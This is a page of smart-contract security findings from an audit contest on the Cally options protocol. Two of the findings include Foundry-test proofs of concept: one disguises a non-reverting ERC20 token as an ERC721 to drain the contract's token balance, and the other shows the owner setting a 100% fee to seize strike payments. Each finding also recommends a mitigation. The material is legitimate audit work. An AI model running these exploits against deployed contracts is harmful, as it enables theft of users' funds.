Cally contest - smiling_heretic's results

Lines of code

https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L198-L200 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L165 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L294-L296 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L343-L345

Vulnerability details

Impact

If a user creates a vault with an ERC20 token with the following two properties:

1. There’s a way to make transferFrom fail to transfer tokens without reverting (e.g. some tokens like ZRX return false on failure instead of reverting).

2. fransferFrom(_from, _to, amount) doesn’t try to decrease the allowance if _from == msg.sender. Example: DSToken.

then full balance of this token can be stolen from the Cally contract in a single transaction at ETH cost of fee for the smallest starting strike. Alternatively, it can be done in two transactions without paying the fee.

My assessment is that these two properties of ERC20 tokens are common enough to consider creation of a vault with a token having both of them to be a high probability event.

Proof of Concept

We will use this implementation of the NoRevertToken but with corrected balance and allowance checks in the transferFrom function. So this is the transferFrom function of our NoRevertToken contract:

    function transferFrom(
        address src,
        address dst,
        uint256 wad
    ) public virtual returns (bool) {
        if (balanceOf[src] < wad) return false; // insufficient src bal
        if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst bal too high

        if (
            src != msg.sender && allowance[src][msg.sender] != type(uint256).max
        ) {
            if (allowance[src][msg.sender] < wad) return false; // insufficient allowance
            allowance[src][msg.sender] = allowance[src][msg.sender] - wad;
        }

        balanceOf[src] = balanceOf[src] - wad;
        balanceOf[dst] = balanceOf[dst] + wad;

        emit Transfer(src, dst, wad);
        return true;
    }

Here is the exploit written as a Foundry test:

    function testDisguiseAsNFTAndSteal() public {
        // deploy contracts
        noRevertToken = new NoRevertToken(100 ether);
        cally = new Cally();
        cally.setFee(0.01 ether);
        // set starting balances of ETH and noRevertToken
        vm.deal(alice, 2 ether);
        noRevertToken.transfer(bob, 100 ether);

        // honest user Bob civilly creates a vault with 100 NoRevertTokens
        vm.startPrank(bob);
        noRevertToken.approve(address(cally), 100 ether);
        cally.createVault(
            100 ether,
            address(noRevertToken),
            3,
            5,
            4,
            1 ether,
            Cally.TokenType.ERC20
        );
        vm.stopPrank();
        // make sure balances at this stage are as expected
        assertEq(noRevertToken.balanceOf(address(cally)), 100 ether);
        assertEq(noRevertToken.balanceOf(alice), 0);
        assertEq(alice.balance, 2 ether);

        // alice performs the exploit
        vm.startPrank(alice);
        // Call to createVault here is successful despite Alice not approving her tokens for Cally and
        // not having enough tokens in the first place.
        // This is because ERC721(vault.token).transferFrom returns false instead of reverting for our NoRevertToken.
        // For different tokens, we might need to make transferFrom return false in different (potentially more subtle) ways.
        uint256 vaultId = cally.createVault(
            100 ether,
            address(noRevertToken),
            0,
            1,
            0,
            0,
            // Disguise our ERC20 NoRevertToken as ERC721.
            // This way we circumvent checks in SafeTransferLib's safeTransferFrom function
            // and make Cally contract use the unsafe ERC721(vault.token).transferFrom instead.
            Cally.TokenType.ERC721
        );
        // Alice buys option for her own vault
        uint256 optionId = cally.buyOption{value: 0.01 ether}(vaultId);
        // Alice exercises the option. If she didn't have enough ETH she could always use a flash loan.
        // Because we set the token type to ERC721 in createVault, the tokens are transferred again with
        // ERC721(vault.token).transferFrom.
        // This is why we need transferFrom(_from, _to, amount) for _from == msg.sender for our token
        // to behave like transfer(_to, amount) and not attempt to decrease allowance.
        cally.exercise{value: 1 ether}(optionId);
        // Get our ETH minus fee back
        cally.harvest();
        vm.stopPrank();
        
        // make sure Alice's exploit was successful
        assertEq(noRevertToken.balanceOf(address(cally)), 0);
        assertEq(noRevertToken.balanceOf(alice), 100 ether);
        assertEq(alice.balance, 2 ether - 0.01 ether);
    }

t’s also possible to perform this exploit using initiateWithdraw and withdraw functions instead of buying and exercising the option. It allows the attacker to avoid paying the fee but now she has to wait one block for the vault to expire.

Tools Used

Foundry

Recommended Mitigation Steps

Deploy two separate Cally contracts: one for handling ERC20, and another one for handling ERC721. Don’t allow user to specify the type of the token in createVault.

Lines of code

https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L119-L121

Vulnerability details

Impact

If the owner of the Cally contract is malicious:

He can steal all the strike money from users who created vaults until they figure out what’s going on and stop using the contract.

Even if the owner is honest:

Many aware users might feel uncomfortable depositing a lot of money to a contract which allows the owner to steal their money. Therefore, the contract has less users and the owner loses money that he could otherwise earn from fees.

Proof of Concept

The proof of concept is written as a Foundry test:

    function testOwnerSuddenlyIncreasesFee() public {
        // owner deploys the Cally contract and sets a reasonable 1% fee rate
        vm.startPrank(owner);
        cally = new Cally();
        cally.setFee(0.01 ether);
        vm.stopPrank();
        // set initial token balances
        normalToken = new MockERC20("Normal Token", "NORMIE", 18);
        normalToken.mint(bob, 100 ether);
        vm.deal(alice, 10 ether);
        // make sure initial balances of ETH are as expected
        assertEq(alice.balance, 10 ether);
        assertEq(bob.balance, 0);
        assertEq(owner.balance, 0);

        // honest user Bob civilly creates a vault with 100 normal tokens
        // Bob thinks that the fee is set to 1% and he'll earn 99% of his strike
        vm.startPrank(bob);
        normalToken.approve(address(cally), 100 ether);
        uint256 vaultId = cally.createVault(
            100 ether,
            address(normalToken),
            4,
            5,
            4,
            1 ether,
            Cally.TokenType.ERC20
        );
        vm.stopPrank();

        // Alice civilly buys option for Bob's vault
        vm.prank(alice);
        uint256 optionId = cally.buyOption{value: 0.1 ether}(vaultId);
        // now Alice wants to exercise the option. However...
        // The owner suddenly increases the feeRate to 100%
        // He might even include this transaction in the same block before Alice's exercise call.
        vm.prank(owner);
        cally.setFee(1 ether);
        // Alice exercises the option as planned
        vm.prank(alice);
        cally.exercise{value: 8 ether}(optionId);
        // The owner sets the feeRate to its previous, reasonable value. Pretending nothing happened.
        vm.prank(owner);
        cally.setFee(0.01 ether);
        // Bob and the owner collect their ETH but...
        vm.prank(owner);
        cally.withdrawProtocolFees();
        vm.prank(bob);
        cally.harvest();
        // Bob earned only his premium, owner collected all the strike money...
        assertEq(alice.balance, 1.9 ether);
        assertEq(bob.balance, 0.1 ether);
        assertEq(owner.balance, 8 ether);
    }

Tools Used

Foundry

Recommended Mitigation Steps

It’s probably ok for the owner to have some control over the fee rate, especially if the owner is a more decentralized entity like a multisig or better yet, a DAO. However, suddenly and arbitrarily changing fee rate to 100% without giving users time to withdraw their funds, is way too much control.

Consider removing setFee function and setting the fee rate in constructor or making it a constant.

Alternatively, limit control of the owner over the fee rate. For example, there could be some maxFeeRate that cannot be exceeded or timelock the fee rate after setting it to a new value.

Lines of code

https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L200 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L296 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L345

Vulnerability details

Impact

There are ERC20 tokens that increase their balance with time. If a user creates a vault with such a token, then this additional balance is locked forever in the Cally contract. More details here: https://github.com/d-xo/weird-erc20#balance-modifications-outside-of-transfers-rebasing--airdrops

Proof of Concept

In createVault, the amount of tokens sent to the Cally contract is vault.tokenIdOrAmount.

Then token.balanceOf(cally) increases with time.

Both withdraw and exercise function allow to withdraw only vault.tokenIdOrAmount tokens from the contract. There’s no way to withdraw the rest of the balance.

Tools Used

Manual analysis

Recommended Mitigation Steps

I came up with two possible approaches (I already recommended them for another finding):

1. Deploy vaults for each user as separate contracts. This will help avoiding mixing up balances of different vaults, if the balance of token changes, and transferring simply token.balanceOf(vault) to user on withdraw and exercise should work correctly.

2. Track shares of the total balance of each token that belongs to each vault instead of exact amounts. It looks like a much more complex solution. This might help: https://eips.ethereum.org/EIPS/eip-2917

Lines of code

https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L200 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L296 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L345

Vulnerability details

Impact

If a user creates a vault with fee on transfer ERC20 token, then the option for this vault cannot be exercised (after it’s bought) until someone (the owner?) transfers the fee to the Cally contract.

Worse yet, if there are many vaults with the same fee on transfer token at the same time, then the fee is effectively taken from other users’ vaults and the Cally contract becomes more and more insolvent.

Similar issue occurs for ERC20 tokens that decrease their balance between transfers for reasons different than fee. More details here

Proof of Concept

Let’s just consider what happens when a users creates a vault with a fee on transfer token like this one.

In createVault, the tokens are transferred with ERC20(vault.token).safeTransferFrom(msg.sender, address(this), vault.tokenIdOrAmount) so the balance of the Cally contract after this call is vault.tokenIdOrAmount - fee.

Both exercise and withdraw functions attempt to transfer the tokens to user with this call: ERC20(vault.token).safeTransfer(msg.sender, vault.tokenIdOrAmount)

However, this call fails because there’s not enough balance. If there’s enough balance, this means that someone transferred some TransferFeeToken to the Cally contract. If it’s a user who created a new vault, then the fee will be effectively taken from his vault.

Tools Used

Tested in Foundry

Recommended Mitigation Steps

I came up with two possible approaches:

1. Deploy vaults for each user as separate contracts. This will help avoiding mixing up balances of different vaults, if the balance of token changes, and transferring simply token.balanceOf(vault) to user on withdraw and exercise should work correctly.

2. Track shares of the total balance of each token that belongs to each vault instead of exact amounts. It looks like a much more complex solution. This might help: https://eips.ethereum.org/EIPS/eip-2917